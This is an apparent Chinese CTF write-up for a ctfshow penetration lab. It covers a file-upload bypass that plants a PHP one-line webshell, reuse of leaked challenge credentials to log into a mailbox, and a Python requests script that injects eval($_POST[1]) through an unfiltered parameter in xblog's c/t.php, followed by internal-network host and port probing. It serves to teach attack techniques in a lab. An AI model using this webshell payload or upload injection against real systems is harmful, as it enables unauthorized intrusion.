一、匿名聊天室
匹配聊天后左下角有上传文件功能。
![](https://img-blog.csdnimg.cn/img_convert/d075534678d1800383e6bed879bf1259.png)
经测试是content-type检测,修改内容为一句话木马即可,文件被重命名但是不知道上传路径在哪。
![](https://img-blog.csdnimg.cn/img_convert/8777190304205c5d0370b99d49f2d355.png)
![](https://img-blog.csdnimg.cn/img_convert/fed8061f01ac875cb5c85fa8199a0d1a.png)
点击首页的“查看帮助”,在GitHub中找到了源码。
![](https://img-blog.csdnimg.cn/img_convert/3c0b4cb5c9d97bd28c73fb2d10d1f15e.png)
![](https://img-blog.csdnimg.cn/img_convert/a9a32468debc7808cff254b93a0a9ab1.png)
![](https://img-blog.csdnimg.cn/img_convert/3dac7c2f36499be367f071c7859515ed.png)
对photo_upload.php进行审计,发现了上传路径为/images/photo/,把开始上传的一句话木马加上路径访问。
![](https://img-blog.csdnimg.cn/img_convert/6ab14e3a1462db8df49045a6ea1cdb95.png)
使用蚁剑成功连接,拿下第一台机器。
![](https://img-blog.csdnimg.cn/img_convert/bb8f36b92a3d17894bf3581052045353.png)
找到用户密码数据hacker_ctfshow@163.com/Hacker_ctfsh0w,以为是admin.php的账户密码,进入后台管理发现用处不大。
![](https://img-blog.csdnimg.cn/img_convert/8c9cf0ebdcaf3f12790156f99dbbba90.png)
![](https://img-blog.csdnimg.cn/img_convert/7e8e940e143659b78cd79af753f7174a.png)
二、163邮箱
仔细观察可能是邮箱账号,尝试登录163邮箱成功,并有一封加密邮件。
![](https://img-blog.csdnimg.cn/img_convert/258144522cf86fa86e240d6e2d6e2a3e.png)
![](https://img-blog.csdnimg.cn/img_convert/6e492975977be8ad9ca0692f4dba51c0.png)
通过弱口令123456破解邮件成功。
![](https://img-blog.csdnimg.cn/img_convert/b5222875c20cd3f44b41b5eed7b2c5ca.png)
三、xblog开发
进入开发地址,是xblog源码。
![](https://img-blog.csdnimg.cn/img_convert/f9c96591060e3342d9467276901f0563.png)
审计源码,在c/t.php中,没有对$d进行过滤,存在上传漏洞。(这里自己审计不出来,感谢wp)
![](https://img-blog.csdnimg.cn/img_convert/88693ed89235e3ac32ac03bfcaf95d6e.png)
先登录https://blog.ctfer.com/a/获取cookie。
![](https://img-blog.csdnimg.cn/img_convert/4e1e7b270ab7e7f530376ba06c4ed9df.png)
运行python脚本传入参数,得到文件名0.php,木马地址为p/0.php(这里python基础不好,代码为wp中的内容)
import requests
url = "https://blog.ctfer.com/c/t.php"
cookie={
"PHPSESSID":"c43f3fb2ac045580e50a7f5b696c87fa"
}
data={
"dat":'";eval($_POST[1]);?>',
"title":"1",
"content":"%20",
}
response = requests.post(url=url+"?type=submit",data=data,cookies=cookie)
print(response.text)
![](https://img-blog.csdnimg.cn/img_convert/1fddc33777fdef68dc62d5f6e40662a9.png)
使用蚁剑连接,拿下第二台机器。
![](https://img-blog.csdnimg.cn/img_convert/97fb134a9bb7f4664c88c9807ce47e76.png)
四、内网探测
查看网卡信息IP为192.168.102.3,并上传ping脚本探测是否有内网存活主机。
![](https://img-blog.csdnimg.cn/img_convert/8cce4106750c5afcc989d7643e70eb4f.png)
![](https://img-blog.csdnimg.cn/img_convert/f091849bce7557738fc5aa8f34a417d1.png)
发现内网存活主机192.168.102.2
![](https://img-blog.csdnimg.cn/img_convert/e38ed6bdd89868d130d837a99b24c7cb.png)
探测开放端口,发现8090开放
![](https://img-blog.csdnimg.cn/img_convert/17128cbcc09b5905d451ce90a37781b3.png)
后续内网的横向渗透因为个人能力不足且没有vps就做不下去了,可以参考官方wp:https://ctf-show.feishu.cn/docx/RO1ydCc3Ko33tjxkGiNcTkM6n9b?share_token=150bb8d8-757f-4bbe-bf8d-029cee388dfc
总结:
自己还是太菜了,后面的代码审计和python脚本的编写基本都得看wp才能做下去,以及后续fastjson漏洞实现rce因为不了解Java无法复现。也让我知道了自己还有很长的路要走,得把代码审计和python这两个短板先补上。最后感谢群主搭建这个平台,让我这种刚学ctf的小白哪怕后面自己做不下去了也能参与进来!